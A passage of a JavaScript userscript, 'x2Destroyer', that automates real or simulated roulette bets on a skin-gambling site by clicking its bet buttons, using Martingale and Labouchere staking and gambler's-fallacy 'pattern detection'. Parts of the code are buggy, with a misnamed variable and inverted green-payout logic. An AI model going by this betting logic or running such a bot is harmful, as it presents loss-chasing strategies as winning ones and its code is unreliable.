466 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
467 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
468 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((simulationMoneyInput.value / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
469 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / simulationMoneyInput.value) * 100).toFixed(4) + "%"; | |
470 | } else { | |
471 | nightengaleOddsOfLosingXTimesInARowX.innerHTML = Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)); | |
472 | nightengaleOddsOfLosingXTimesInARow.innerHTML = (Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2))) * 100).toFixed(3) + "%"; | |
473 | nightengaleOddsOfLosingIn1Day.innerHTML = (((Math.pow((7 / 15), Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)))) * (1728 - Math.floor(Math.log((getBalance() / nightengaleDefaultBetInput.value) + 1) / Math.log(2)) + 1)) * 100).toFixed(3) + "%"; | |
474 | nightengalePercentageOfMoneyAsDefaultBet.innerHTML = ((nightengaleDefaultBetInput.value / getBalance()) * 100).toFixed(4) + "%"; | |
475 | } | |
476 | }; | |
477 | } | |
478 | ||
479 | labouchereGoalInput.oninput = function() { | |
480 | if (labouchereLines.value != '' && labouchereLines.value > 0) | |
481 | laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value)); | |
482 | }; | |
483 | ||
484 | labouchereLines.oninput = function() { | |
485 | if (labouchereGoalInput.value != '' && labouchereGoalInput.value > 0) | |
486 | laboucherePredictedBets.innerHTML = Math.ceil(parseInt(labouchereGoalInput.value) / ((7 / 15) * labouchereLines.value)); | |
487 | } | |
488 | ||
489 | red.onclick = function() { | |
490 | if (status == 2 && !betOnThisRound) { | |
491 | currBetAmount = parseInt(simulateBetAmt.value); | |
492 | currBetColor = 'r'; | |
493 | console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;"); | |
494 | betOnThisRound = true; | |
495 | } else { | |
496 | if (betOnThisRound) | |
497 | console.log("%c[x2Destroyer] You already bet on this round...", "color:red;"); | |
498 | else | |
499 | console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;"); | |
500 | } | |
501 | } | |
502 | ||
503 | green.onclick = function() { | |
504 | if (status == 2) { | |
505 | if (!betOnThisRound) { | |
506 | currBetAmount = parseInt(simulateBetAmt.value); | |
507 | currBetColor = 'g'; | |
508 | console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;"); | |
509 | betOnThisRound = true; | |
510 | } else { | |
511 | console.log("%c[x2Destroyer] You already bet on this round...", "color:red;"); | |
512 | } | |
513 | } else { | |
514 | console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;"); | |
515 | } | |
516 | }; | |
517 | ||
518 | black.onclick = function() { | |
519 | if (status == 2) { | |
520 | if (!betOnThisRound) { | |
521 | currBetAmount = parseInt(simulateBetAmt.value); | |
522 | currBetColor = 'b'; | |
523 | console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetAmount + " credits on color " + currBetColor, "color:purple;"); | |
524 | betOnThisRound = true; | |
525 | } else { | |
526 | console.log("%c[x2Destroyer] You already bet on this round...", "color:red;"); | |
527 | } | |
528 | } else { | |
529 | console.log("%c[x2Destroyer] Betting for this round is closed...", "color:red;"); | |
530 | } | |
531 | }; | |
532 | //END [DEFINE LISTENERS] | |
533 | ||
534 | //START [DEFINING FUNCTIONS] | |
535 | function checkStatus() { | |
536 | //STATUSES | |
537 | // 1 // Rolling // ***ROLLING*** | |
538 | // 2 // Betting // Rolling in XX.XX... | |
539 | // 3 // Rolled // CSGODouble rolled 3! | |
540 | // 4 // Confirming // Confirming 625/625 total bets | |
541 | return statusBanner.innerHTML; | |
542 | } | |
543 | ||
544 | function getBalance() { | |
545 | return balanceSpan.innerHTML; | |
546 | } | |
547 | ||
548 | function secondsToHHMMSS(d) { | |
549 | d = Number(d); | |
550 | var h = Math.floor(d / 3600); | |
551 | var m = Math.floor(d % 3600 / 60); | |
552 | var s = Math.floor(d % 3600 % 60); | |
553 | ||
554 | return ((h > 0 ? h + ":" + (m < 10 ? "0" : "") : "") + m + ":" + (s < 10 ? "0" : "") + s); | |
555 | } | |
556 | ||
557 | /*function sleep() { | |
558 | var ms = Math.floor((Math.random() * 100) + 1); | |
559 | ms += Math.floor((Math.random() * 100) + 1); | |
560 | ms += Math.floor((Math.random() * 100) + 1); | |
561 | ms *= 100; | |
562 | ||
563 | return (new Promise(function(resolve, reject) { | |
564 | setTimeout(function() { | |
565 | resolve(); | |
566 | }, ms); | |
567 | })); | |
568 | }*/ | |
569 | ||
570 | function sleep(x) { | |
571 | return (new Promise(function(resolve, reject) { | |
572 | setTimeout(function() { | |
573 | resolve(); | |
574 | }, x); | |
575 | })); | |
576 | } | |
577 | ||
578 | ||
579 | function bet(amount, rgb) { | |
580 | switch (rgb) { | |
581 | case 'r': | |
582 | sleep(10000).then(function() { | |
583 | betAmountInput.value = amount; | |
584 | redBetButton.click(); | |
585 | }); | |
586 | break; | |
587 | case 'g': | |
588 | sleep(5000).then(function() { | |
589 | betAmountInput.value = amount; | |
590 | greenBetButton.click(); | |
591 | }); | |
592 | break; | |
593 | case 'b': | |
594 | sleep(10000).then(function() { | |
595 | betAmountInput.value = amount; | |
596 | blackBetButton.click(); | |
597 | }); | |
598 | break; | |
599 | } | |
600 | } | |
601 | ||
602 | ||
603 | function getColorFromNumber(number) { | |
604 | if (number == 0) | |
605 | return 'g'; | |
606 | else if (number >= 1 && number <= 7) | |
607 | return 'r'; | |
608 | else if (number >= 8 && number <= 14) | |
609 | return 'b'; | |
610 | } | |
611 | ||
612 | function toSignedInt(number) { | |
613 | if (number > 0) | |
614 | return "+" + number; | |
615 | ||
616 | return number | |
617 | } | |
618 | ||
619 | function calculateNewDefaultBet(defaultBet, moneyStart, money) { | |
620 | return Math.floor((defaultBet / moneyStart) * money); | |
621 | } | |
622 | //END [DEFINING FUNCTIONS] | |
623 | ||
624 | //START [MAIN LOOP] | |
625 | setInterval(function() { | |
626 | runtimeSpan.innerHTML = secondsToHHMMSS(++runtime); | |
627 | ||
628 | if (running) { | |
629 | fullStatus = checkStatus() | |
630 | switch (fullStatus.substring(0, 2)) { | |
631 | case "**": | |
632 | rolled = true; | |
633 | status = 1; | |
634 | break; | |
635 | ||
636 | case "Ro": | |
637 | if (betOnThisRound && rolled) { | |
638 | betOnThisRound = false; | |
639 | checkedIfWon = false; | |
640 | rolled = false; | |
641 | } | |
642 | status = 2; | |
643 | break; | |
644 | ||
645 | case "CS": | |
646 | status = 3; | |
647 | break; | |
648 | ||
649 | case "Co": | |
650 | status = 4; | |
651 | break; | |
652 | ||
653 | default: | |
654 | status = 0; | |
655 | break; | |
656 | } | |
657 | //if (status == 2) | |
658 | // console.log("%c[x2Destroyer] Website Status: " + status + " // Rolling in XX.XX...", "color:orange;"); | |
659 | //else | |
660 | // console.log("%c[x2Destroyer] Website Status: " + status + " // " + checkStatus(), "color:orange;"); | |
661 | ||
662 | if (!betOnThisRound && status == 2) { | |
663 | skipBet = false; | |
664 | //decide which color to bet on | |
665 | if (!manualMode) { | |
666 | if (getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) != 'g') currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML); | |
667 | else | |
668 | currBetColor = 'r'; | |
669 | ||
670 | if (trainProtectionCheckbox.checked) { | |
671 | if ((getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) { | |
672 | console.log("%c[x2Destroyer] Train Detected!", "color:blue;"); | |
673 | currBetColor = getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML); | |
674 | } | |
675 | } | |
676 | ||
677 | if (rainbowProtectionCheckbox.checked) { | |
678 | if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && (getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b') && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r')) { | |
679 | console.log("%c[x2Destroyer] Rainbow Detected!", "color:blue;"); | |
680 | currBetColor = getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML); | |
681 | } | |
682 | } | |
683 | if (rrbbProtectionCheckbox.checked) { | |
684 | if ((getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) { | |
685 | console.log("%c[x2Destroyer] RRBB Pattern Detected!", "color:blue;"); | |
686 | currBetColor = getColorFromNumber(document.getElementById("past").childNodes[6].innerHTML); | |
687 | } | |
688 | } | |
689 | if (rrbProtectionCheckbox.checked) { | |
690 | if ((getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'b' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'r') || (getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[8].innerHTML) == 'r' && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'b')) { | |
691 | console.log("%c[x2Destroyer] RRB Pattern Detected!", "color:blue;"); | |
692 | currBetColor = getColorFromNumber(document.getElementById("past").childNodes[7].innerHTML); | |
693 | } | |
694 | } | |
695 | } | |
696 | ||
697 | if (mode == 0 && !manualMode) { //Martingale System | |
698 | if (nightengaleStopAfterXGamesCheckbox.checked && (betsWon + betsLost) == parseInt(nightengaleStopAfterXGamesInput.value)) { | |
699 | stopButton.click(); | |
700 | console.log("%c[x2Destroyer] Nightengale: Stop after " + nightengaleStopAfterXGamesInput.value + " reached! Stopping...: ", "color:purple"); | |
701 | } | |
702 | ||
703 | if (nightengaleStopAfterReachingXCheckbox.checked && ((!simulationMode && ((getBalance() - startBalance) == parseInt(nightengaleStopAfterReachingXInput.value))) || (simulationMode && ((simulationMoney - simulationMoneyStart) == parseInt(nightengaleStopAfterReachingXInput.value))))) { | |
704 | stopButton.click(); | |
705 | console.log("%c[x2Destroyer] Nightengale: Stop after attaining " + nightengaleStopAfterReachingXInput.value + " reached! Stopping...: ", "color:purple"); | |
706 | } | |
707 | ||
708 | //decide the amount to bet | |
709 | if (antiDoubleGreenCounter == 0) | |
710 | antiDoubleGreenCounter = -1; | |
711 | ||
712 | if (!betOnThisRound && wonLastBet) { | |
713 | currBetAmount = parseInt(nightengaleDefaultBetInput.value); | |
714 | if (betOnGreenEnabled) | |
715 | currBetGreenAmount = parseInt(nightengaleBetOnGreenInput.value); | |
716 | antiLoseAllCounter = 0; | |
717 | ||
718 | } else if (antiDoubleGreenCounter == -1 && !betOnThisRound && antiDoubleGreenEnabled && getColorFromNumber(document.getElementById("past").childNodes[9].innerHTML) == 'g') { | |
719 | antiDoubleGreenCounter = parseInt(nightengaleAntiDoubleGreenInput.value); | |
720 | console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets!", "color:green"); | |
721 | skipBet = true; | |
722 | betOnThisRound = true; | |
723 | antiDoubleGreenCounter -= 1; | |
724 | } else if (!betOnThisRound && antiDoubleGreenCounter >= 0) { | |
725 | if (antiDoubleGreenCounter == 1) { | |
726 | console.log("%c[x2Destroyer] Last bet skip!", "color:green"); | |
727 | antiDoubleGreenCounter = -1; | |
728 | skipBet = true; | |
729 | betOnThisRound = true; | |
730 | } else if (!skipBet && !betOnThisRound) { | |
731 | console.log("%c[x2Destroyer] Skipping the next " + antiDoubleGreenCounter + " bets", "color:green"); | |
732 | betOnThisRound = true; | |
733 | skipBet = true; | |
734 | antiDoubleGreenCounter -= 1; | |
735 | } | |
736 | } else { | |
737 | antiLoseAllCounter++; | |
738 | if (antiBankruptcy && ((simulationMode && (lastBetAmount * 2 > simulationMoney)) || (!simulationMode && (lastBetAmount * 2 > getBalance())))) { | |
739 | console.log("%c[x2Destroyer] Anti-Bankruptcy triggered!", "color:blue;"); | |
740 | ||
741 | if (simulationMode) { | |
742 | nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, simulationMoneyStart, simulationMoney); | |
743 | console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;"); | |
744 | } else { | |
745 | nightengaleDefaultBetInput.value = calculateNewDefaultBet(nightengaleDefaultBetInput.value, startBalance, getBalance()); | |
746 | console.log("%c[x2Destroyer] Anti-Bankruptcy calculated new default bet: " + nightengaleDefaultBetInput.value, "color:blue;"); | |
747 | } | |
748 | ||
749 | currBetAmount = parseInt(nightengaleDefaultBetInput.value); | |
750 | if (betOnGreenEnabled) | |
751 | currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value); | |
752 | wonLastBet = true; | |
753 | } else { | |
754 | if (antiLoseAllCounter >= parseInt(nightengaleAntiLoseallInput.value)) { | |
755 | antiLoseAllCounter = 0; | |
756 | console.log("%c[x2Destroyer] Anti-Lose all triggered!", "color:green"); | |
757 | currBetAmount = parseInt(nightengaleDefaultBetInput.value); | |
758 | if (betOnGreenEnabled) | |
759 | currGreenBetAmount = parseInt(nightengaleBetOnGreenInput.value); | |
760 | } else { | |
761 | currBetAmount = lastBetAmount * 2; | |
762 | if (betOnGreenEnabled) | |
763 | currBetGreenAmount = lastBetGreenAmount * 2; | |
764 | } | |
765 | } | |
766 | ||
767 | } | |
768 | } | |
769 | } else if (mode == 1 && !manualMode) { //labouchere system | |
770 | if (simulationMode) { | |
771 | if ((simulationMoney - simulationMoneyStart) == goal) { | |
772 | stopButton.click(); | |
773 | console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple"); | |
774 | } | |
775 | } else { | |
776 | if ((getBalance() - startBalance) == goal) { | |
777 | stopButton.click(); | |
778 | console.log("%c[x2Destroyer] Labouchere goal reached! Stopping...: ", "color:purple"); | |
779 | } | |
780 | } | |
781 | ||
782 | if (wonLastBet && (betsWon + betsLost) > 0) { | |
783 | lines.splice((lines.length - 1), 1); | |
784 | lines.splice(0, 1); | |
785 | } else if (!wonLastBet && (betsWon + betsLost) > 0) { | |
786 | lines.push(lastBetAmount); | |
787 | } | |
788 | ||
789 | if (lines.length > 1) | |
790 | currBetAmount = (lines[0] + lines[lines.length - 1]); | |
791 | else | |
792 | currBetAmount = lines[0]; | |
793 | ||
794 | console.log("%c[x2Destroyer] Lines: " + lines, "color:blue"); | |
795 | } | |
796 | ||
797 | //bet | |
798 | if (!skipBet) { | |
799 | ||
800 | ////////////////////////////////////////////////////// | |
801 | if (currBetColor == 'r') { | |
802 | resultcolor = "RED"; | |
803 | } else if (currBetColor == 'b') { | |
804 | resultcolor = "BLACK"; | |
805 | } else if (currBetColor == 'g') { | |
806 | resultcolor = "GREEN"; | |
807 | } | |
808 | ////////////////////////////////////////////////////// | |
809 | ||
810 | if (!simulationMode && !betOnThisRound) { | |
811 | betOnThisRound = true; | |
812 | lastBetAmount = currBetAmount; | |
813 | lastBetGreenAmount = currBetGreenAmount; | |
814 | ||
815 | ||
816 | //bet on green part | |
817 | if (betOnGreenEnabled) { | |
818 | console.log("%c[x2Destroyer] Total Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;"); | |
819 | bet(currBetGreenAmount, 'g'); | |
820 | } | |
821 | ||
822 | ||
823 | ||
824 | ||
825 | console.log("%cTotal Money: " + getBalance() + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(getBalance() - startBalance) + " // Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;"); | |
826 | bet(currBetAmount, currBetColor); | |
827 | } else if (simulationMode && !manualMode && !betOnThisRound) { | |
828 | betOnThisRound = true; | |
829 | lastBetAmount = currBetAmount; | |
830 | lastBetGreenAmount = currBetGreenAmount; | |
831 | ||
832 | console.log("%cTotal Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Max WinStreak: " + maxwinstreak + " // Max LoseStreak: " + maxlosestreak + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet " + currBetAmount + " on " + resultcolor + " // Current " + winorlosestreak + ": " + currstreak, "color:purple;"); | |
833 | //console.log("%c[x2Destroyer] Total Money: " + simulationMoney, "color:purple;"); | |
834 | //console.log("%cTotal Bets: " + (betsWon + betsLost), "color:purple;"); | |
835 | //console.log("%cWins: " + betsWon + " Losses: " + betsLost, "color:purple;"); | |
836 | //console.log("%cNet Change: " + toSignedInt(simulationMoney - simulationMoneyStart), "color:purple;"); | |
837 | //console.log("%cSimulated Bet of " + currBetAmount, "color:purple;"); | |
838 | //console.log("%cMax WinStreak: " + maxwinstreak, "color:purple;"); | |
839 | //console.log("%cMax LoseStreak: " + maxlosestreak, "color:purple;"); | |
840 | //console.log("%cCurrent "+ winorlosestreak +": " + currstreak, "color:purple;"); | |
841 | //console.log("%cBet on color " + currBetColor, "color:purple;"); | |
842 | if (betOnGreenEnabled) | |
843 | console.log("%c[x2Destroyer] Total Money: " + simulationMoney + " // Total Bets: " + (betsWon + betsLost) + " // Wins: " + betsWon + " Losses: " + betsLost + " // Net Change: " + toSignedInt(simulationMoney - simulationMoneyStart) + " // Simulated Bet of " + currBetGreenAmount + " credits on GREEN", "color:purple;"); | |
844 | } | |
845 | ||
846 | if (!checkedIfWon && betOnThisRound && status == 3) { | |
847 | if ((betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g') || currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))) { | |
848 | wonLastBet = true; | |
849 | ||
850 | ////////////////////////////////////////// | |
851 | wstreak = 1; | |
852 | currstreak++; | |
853 | maxlose = 0; | |
854 | maxwin++; | |
855 | if (maxwin > maxwinstreak) { | |
856 | maxwinstreak++; | |
857 | } | |
858 | if (lstreak > 0) { | |
859 | currstreak = 1; | |
860 | } | |
861 | lstreak = 0; | |
862 | winorlosestreak = "Winstreak"; | |
863 | ////////////////////////////////////////// | |
864 | ||
865 | betsWon++; | |
866 | console.log("%c[x2Destroyer] Won Last Bet! :D", "color:green;"); | |
867 | if (simulationMode) { | |
868 | if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g') | |
869 | simulationMoney += currBetGreenAmount * 14; | |
870 | else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g') | |
871 | simulationMoney -= currBetGreenAmount; | |
872 | ||
873 | if (currBetColor != 'g') { | |
874 | if (currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1))) | |
875 | simulationMoney += currBetAmount; | |
876 | } else { | |
877 | if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)))) | |
878 | simulationMoney += 14 * currBetAmount; | |
879 | } | |
880 | } | |
881 | } else { | |
882 | wonLastBet = false; | |
883 | ||
884 | ////////////////////////////////////////// | |
885 | lstreak = 1; | |
886 | currstreak++; | |
887 | maxwin = 0; | |
888 | maxlose++; | |
889 | if (maxlose > maxlosestreak) { | |
890 | maxlosestreak++; | |
891 | } | |
892 | if (wstreak > 0) { | |
893 | currstreak = 1; | |
894 | } | |
895 | wstreak = 0; | |
896 | winorlosestreak = "Losestreak"; | |
897 | ////////////////////////////////////////// | |
898 | ||
899 | betsLost++; | |
900 | console.log("%c[x2Destroyer] Lost Last Bet! :(", "color:red;"); | |
901 | if (simulationMode) { | |
902 | if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) != 'g') | |
903 | simulationMoney -= currBetGreenAmount; | |
904 | else if (betOnGreenEnabled && getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)) == 'g') | |
905 | simulationMoney += currBetGreenAmount * 14; | |
906 | ||
907 | if (!(currBetColor == getColorFromNumber(checkStatus().substring(18, checkStatus().length - 1)))) | |
908 | simulationMoney -= currBetAmount; | |
909 | } | |
910 | } | |
911 | ||
912 | checkedIfWon = true; | |
913 | } | |
914 | } else if (!betOnThisRound && skipBet) { | |
915 | console.log("%c[x2Destroyer] Skipping bet! :)", "color:green"); | |
916 | } | |
917 | } | |
918 | }, 1000); | |
919 | //END [MAIN LOOP] |